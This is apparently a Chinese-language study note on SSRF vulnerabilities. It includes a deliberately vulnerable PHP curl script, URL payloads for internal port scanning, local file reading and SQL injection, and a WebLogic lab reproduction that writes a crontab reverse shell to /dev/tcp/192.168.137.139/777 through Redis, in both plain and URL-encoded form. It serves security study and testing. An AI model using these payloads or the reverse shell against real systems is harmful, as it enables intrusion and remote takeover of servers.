目录
SSRF---服务器请求伪造
SSRF漏洞的危害:
SSRF常见代码实现
漏洞原理:
SSRF漏洞利用
端口扫描
读取系统本地文件
内网应用指纹识别
攻击内网Web应用
SSRF漏洞的挖掘
SSRF漏洞的防御
过滤用户输入的URL
过滤输出
Weblogic SSRF漏洞测试(复现):
(发生在服务器端,发生在服务器)例:百度识图
服务器替我们发送url请求 ,但没有做恰当的过滤
对响应的
Robots文件,不是给人看的,给浏览器搜索引擎机器人看的,只是可以查看不可查看文件。
CSRF---跨站请求伪造(发生在客户端,伪造网站受信任的用户发送请求)
端口扫面
内网Web应用指纹识别
攻击内网Web应用
读取本地文件
需要php扩展组件curl支持。
// ssrf_curl.php if(isset($_REQUEST['url'])){ $link = $_REQUEST['url']; $fileName = './curled/'.time().".txt"; $curlObj = curl_init($link); $fp = fopen($fileName,'w');
curl_setopt($curlObj,CURLOPT_FILE,$fp); curl_setopt($curlObj,CURLOPT_HEADER,0); curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
curl_exec($curlObj); curl_close($curlObj); fclose($fp); if(getimagesize($fileName)){ header("Content-Type:image/png"); } $fp = fopen($fileName,'r'); $result = fread($fp,filesize($fileName)); fclose($fp); echo $result; }else{ echo "?url=[url]"; } |
访问正常的文件
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt
Robots文件,不是给人看的,给浏览器搜索引擎机器人看的,只是可以查看不可查看文件。
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.10:3306
?url=file://c:/windows/system32/drivers/etc/hosts
?url=http://localhost/phpMyAdmin/README
内网安全通常都很薄弱。
通过SSRF漏洞可以实现对内网的访问,从而可以攻击内网应用于本地机器,获得shell.
仅仅通过GET方法可以攻击的内网Web应用有很多。
http://1923168.16.103/ssrf/ssrf_curl.php
?url=http://localhost/cms/show.php? id=33/**/and/**/1=2/**/union/**/select/**/select/**/1,23,4,5,6,7,8,9,10,database( ),12,13,14,15
从Web功能上去找
....
从URL的关键字中寻找
。。。。
过滤返回信息,只要不符合要求的,全部过滤。
统一错误信息,让攻击无法对内网信息进行判断。
挂代理 开启BP
利用127.0.0.1ip进行测试 我们通过错误的不同,即可探测内网状态。
根据官方提示:
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)
注:redis服务器(Remote Dictionary Server ,即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。)
redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://172.18.0.2:6379 which did not have a valid SOAP content-type: null.
翻译:收到来自url的响应:http://172.18.0.2:6379没有有效的SOAP内容类型:null。
对比上边127.0.0.1测试,说明6379端口开放,也就是redis
搞起:》》》
我们需要利用redis命令,反弹shell脚本
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.137.139/777 0>&1\n\n\n\n" # 标注地方为执行时间,****表示每分钟 写入命令
config set dir /etc/ #设置目录
config set dbfilename crontab #指定写入文件名字
Save # 保存
因为上面命令符号较多 我们需要对上面命令进行编码:
set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.137.139%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
|